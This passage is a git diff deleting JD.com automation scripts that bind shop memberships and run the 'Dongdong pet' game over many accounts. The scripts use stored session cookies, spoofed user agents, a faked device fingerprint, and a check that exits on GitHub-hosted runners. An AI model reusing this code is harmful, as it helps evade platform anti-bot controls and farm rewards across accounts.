`https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, - headers: { - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') - $.fp = arr.fp - await getEid(arr) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js deleted file mode 100644 index 8ce6155b3..000000000 --- a/jd_pet.js +++ /dev/null @@ -1,1076 +0,0 @@ -/* -东东萌宠 更新地址: jd_pet.js -更新时间:2021-05-21 -活动入口:京东APP我的-更多工具-东东萌宠 -已支持IOS多京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js - -互助码shareCode请先手动运行脚本查看打印可看到 -一天只能帮助5个人。多出的助力码无效 - -=================================Quantumultx========================= -[task_local] -#东东萌宠 -15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true - -=================================Loon=================================== -[Script] -cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 - -===================================Surge================================ -东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js - -====================================小火箭============================= -东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true - - */ -const $ = new Env('东东萌宠互助版'); -let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, allMessage = ''; -let message = '', subTitle = '', option = {}; -let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let goodsUrl = '', taskInfoKey = []; -let notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let newShareCodes = []; -let NoNeedCodes = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') - console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -let NowHour = new Date().getHours(); -let llhelp=true; -if ($.isNode() && process.env.CC_NOHELPAFTER8) { - console.log(NowHour); - if (process.env.CC_NOHELPAFTER8=="true"){ - if (NowHour>8){ - llhelp=false; - console.log(`现在是9点后时段,不启用互助....`); - } - } -} -let WP_APP_TOKEN_ONE = ""; -if ($.isNode()) { - if (process.env.WP_APP_TOKEN_ONE) { - WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; - } -} -if(WP_APP_TOKEN_ONE) - console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); -else - console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); - -console.log(`共${cookiesArr.length}个京东账号\n`); - -!(async() => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - if (llhelp){ - console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue; - } - message = ''; - subTitle = ''; - goodsUrl = ''; - taskInfoKey = []; - option = {}; - await GetShareCode(); - } - } - console.log('\n互助码收集完毕,开始执行日常任务...\n'); - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue; - } - message = ''; - subTitle = ''; - goodsUrl = ''; - taskInfoKey = []; - option = {}; - await jdPet(); - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}) -.finally(() => { - $.done(); -}) -async function jdPet() { - try { - //查询jd宠物信息 - const initPetTownRes = await request('initPetTown'); - message = `【京东账号${$.index}】${$.nickName || $.UserName}\n`; - if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { - $.petInfo = initPetTownRes.result; - if ($.petInfo.userStatus === 0) { - await slaveHelp(); //助力好友 - $.log($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); - return - } - if (!$.petInfo.goodsInfo) { - $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`, { - "open-url": "openapp.jdmoble://" - }); - if ($.isNode()) - await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName || $.UserName}`, `【提示】京东账号${$.index}${$.nickName || $.UserName}\n暂未选购新的商品`); - return - } - goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; - // option['media-url'] = goodsUrl; - // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); - if ($.petInfo.petStatus === 5) { - await slaveHelp(); //可以兑换而没有去兑换,也能继续助力好友 - option['open-url'] = "openApp.jdMobile://"; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); - } - if ($.isNode() && WP_APP_TOKEN_ONE) { - await notify.sendNotifybyWxPucher($.name, `【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n【领取步骤】京东->我的->东东萌宠兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); - } - return - } else if ($.petInfo.petStatus === 6) { - await slaveHelp(); //已领取红包,但未领养新的,也能继续助力好友 - option['open-url'] = "openApp.jdMobile://"; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n已领取红包,但未继续领养新的物品`); - } - - return - } - //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); - await taskInit(); - if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { - console.log('初始化任务异常, 请稍后再试'); - return - } - $.taskInfo = $.taskInit.result; - - await petSport(); //遛弯 - if (llhelp){ - await slaveHelp(); //助力好友 - } - await masterHelpInit(); //获取助力的信息 - await doTask(); //做日常任务 - await feedPetsAgain(); //再次投食 - await energyCollect(); //收集好感度 - await showMsg(); - - } else if (initPetTownRes.code === '0') { - console.log(`初始化萌宠失败: ${initPetTownRes.message}`); - } - } catch (e) { - $.logErr(e) - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - if ($.isNode()) - await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`) - } -} - -async function GetShareCode() { - try { - //查询jd宠物信息 - const initPetTownRes = await request('initPetTown'); - if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { - $.petInfo = initPetTownRes.result; - if ($.petInfo.userStatus == 0 || $.petInfo.petStatus == 5 || $.petInfo.petStatus == 6 || !$.petInfo.goodsInfo) { - console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n宠物状态不能被助力,跳过...`); - return; - } - console.log(`【京东账号${$.index}(${$.UserName})的互助码】\n${$.petInfo.shareCode}`); - newShareCodes.push($.petInfo.shareCode); - } - } catch (e) { - $.logErr(e) - const errMsg = `【京东账号${$.index} ${$.nickName || $.UserName}】\n任务执行异常,请检查执行日志 ‼️‼️`; - if ($.isNode()) - await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`); - } -} - -// 收取所有好感度 -async function energyCollect() { - console.log('开始收取任务奖励好感度'); - let function_id = arguments.callee.name.toString(); - const response = await request(function_id); - // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); - if (response.resultCode === '0') { - message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; - message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; - } -} -//再次投食 -async function feedPetsAgain() { - const response = await request('initPetTown'); //再次初始化萌宠 - if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { - $.petInfo = response.result; - let foodAmount = $.petInfo.foodAmount; //剩余狗粮 - if (foodAmount - 100 >= 10) { - for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { - const feedPetRes = await request('feedPets'); - console.log(`投食feedPetRes`); - if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { - console.log('投食成功') - } - } - const response2 = await request('initPetTown'); - $.petInfo = response2.result; - subTitle = $.petInfo.goodsInfo.goodsName; - // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; - // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; - } else { - console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); - subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; - // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; - // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; - } - } else { - console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); - } -} - -async function doTask() { - const { - signInit, - threeMealInit, - firstFeedInit, - feedReachInit, - inviteFriendsInit, - browseShopsInit, - taskList - } = $.taskInfo; - for (let item of taskList) { - if ($.taskInfo[item].finished) { - console.log(`任务 ${item} 已完成`) - } - } - //每日签到 - if (signInit && !signInit.finished) { - await signInitFun(); - } - // 首次喂食 - if (firstFeedInit && !firstFeedInit.finished) { - await firstFeedInitFun(); - } - // 三餐 - if (threeMealInit && !threeMealInit.finished) { - if (threeMealInit.timeRange === -1) { - console.log(`未到三餐时间`); - } else { - await threeMealInitFun(); - } - } - if (browseShopsInit && !browseShopsInit.finished) { - await browseShopsInitFun(); - } - let browseSingleShopInitList = []; - taskList.map((item) => { - if (item.indexOf('browseSingleShopInit') > -1) { - browseSingleShopInitList.push(item); - } - }); - // 去逛逛好货会场 - for (let item of browseSingleShopInitList) { - const browseSingleShopInitTask = $.taskInfo[item]; - if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { - await browseSingleShopInit(browseSingleShopInitTask); - } - } - if (inviteFriendsInit && !inviteFriendsInit.finished) { - await inviteFriendsInitFun(); - } - // 投食10次 - if (feedReachInit && !feedReachInit.finished) { - await feedReachInitFun(); - } -} -// 好友助力信息 -async function masterHelpInit() { - let res = await request(arguments.callee.name.toString()); - // console.log(`助力信息: ${JSON.stringify(res)}`); - if (res.code === '0' && res.resultCode === '0') { - if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { - if (!res.result.addedBonusFlag) { - console.log("开始领取额外奖励"); - let getHelpAddedBonusResult = await request('getHelpAddedBonus'); - if (getHelpAddedBonusResult.resultCode === '0') { - message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; - } - console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); - } else { - console.log("已经领取过5好友助力额外奖励"); - message += `【额外奖励】已领取\n`; - } - } else { - console.log("助力好友未达到5个") - message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; - } - if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { - console.log('帮您助力的好友的名单开始') - let str = ''; - res.result.masterHelpPeoples.map((item, index) => { - if (index === (res.result.masterHelpPeoples.length - 1)) { - str += item.nickName || "匿名用户"; - } else { - str += (item.nickName || "匿名用户") + ','; - } - }) - message += `【助力您的好友】${str}\n`; - } - } -} -/** - * 助力好友, 暂时支持一个好友, 需要拿到shareCode - * shareCode为你要助力的好友的 - * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 - */ -async function slaveHelp() { - let helpPeoples = ''; - for (let code of newShareCodes) { - if(NoNeedCodes){ - var llnoneed=false; - for (let NoNeedCode of NoNeedCodes) { - if (code==NoNeedCode){ - llnoneed=true; - break; - } - } - if(llnoneed){ - console.log(`${code}助力已满,跳过...`); - continue; - } - } - console.log(`开始助力京东账号${$.index} - ${$.nickName || $.UserName}的好友: ${code}`); - if (!code) - continue; - let response = await request(arguments.callee.name.toString(), { - 'shareCode': code - }); - if (response.code === '0' && response.resultCode === '0') { - if (response.result.helpStatus === 0) { - console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); - helpPeoples += response.result.masterNickName + ','; - } else if (response.result.helpStatus === 1) { - // 您今日已无助力机会 - console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); - break; - } else if (response.result.helpStatus === 2) { - //该好友已满5人助力,无需您再次助力 - NoNeedCodes.push(code); - console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); - } else { - console.log(`助力其他情况:${JSON.stringify(response)}`); - } - } else { - if(response.message=="已经助过力"){ - console.log(`此账号今天已经跑过助力了,跳出....`); - break; - }else{ - console.log(`助力好友结果: ${response.message}`); - } - - } - } - if (helpPeoples && helpPeoples.length > 0) { - message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; - } -} -// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 -async function petSport() { - console.log('开始遛弯'); - let times = 1 - const code = 0 - let resultCode = 0 - do { - let response = await request(arguments.callee.name.toString()) - console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); - resultCode = response.resultCode; - if (resultCode == 0) { - let sportRevardResult = await request('getSportReward'); - console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); - } - times++; - } while (resultCode == 0 && code == 0) - if (times > 1) { - // message += '【十次遛狗】已完成\n'; - } -} -// 初始化任务, 可查询任务完成情况 -async function taskInit() { - console.log('开始任务初始化'); - $.taskInit = await request(arguments.callee.name.toString(), { - "version": 1 - }); -} -// 每日签到, 每天一次 -async function signInitFun() { - console.log('准备每日签到'); - const response = await request("getSignReward"); - console.log(`每日签到结果: ${JSON.stringify(response)}`); - if (response.code === '0' && response.resultCode === '0') { - console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); - // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; - } else { - console.log(`【每日签到】${response.message}\n`); - // message += `【每日签到】${response.message}\n`; - } -} - -// 三餐签到, 每天三段签到时间 -async function threeMealInitFun() { - console.log('准备三餐签到'); - const response = await request("getThreeMealReward"); - console.log(`三餐签到结果: ${JSON.stringify(response)}`); - if (response.code === '0' && response.resultCode === '0') { - console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); - // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; - } else { - console.log(`【定时领狗粮】${response.message}\n`); - // message += `【定时领狗粮】${response.message}\n`; - } -} - -// 浏览指定店铺 任务 -async function browseSingleShopInit(item) { - console.log(`开始做 ${item.title} 任务, ${item.desc}`); - const body = { - "index": item['index'], - "version": 1, - "type": 1 - }; - const body2 = { - "index": item['index'], - "version": 1, - "type": 2 - }; - const response = await request("getSingleShopReward", body); - // console.log(`点击进去response::${JSON.stringify(response)}`); - if (response.code === '0' && response.resultCode === '0') 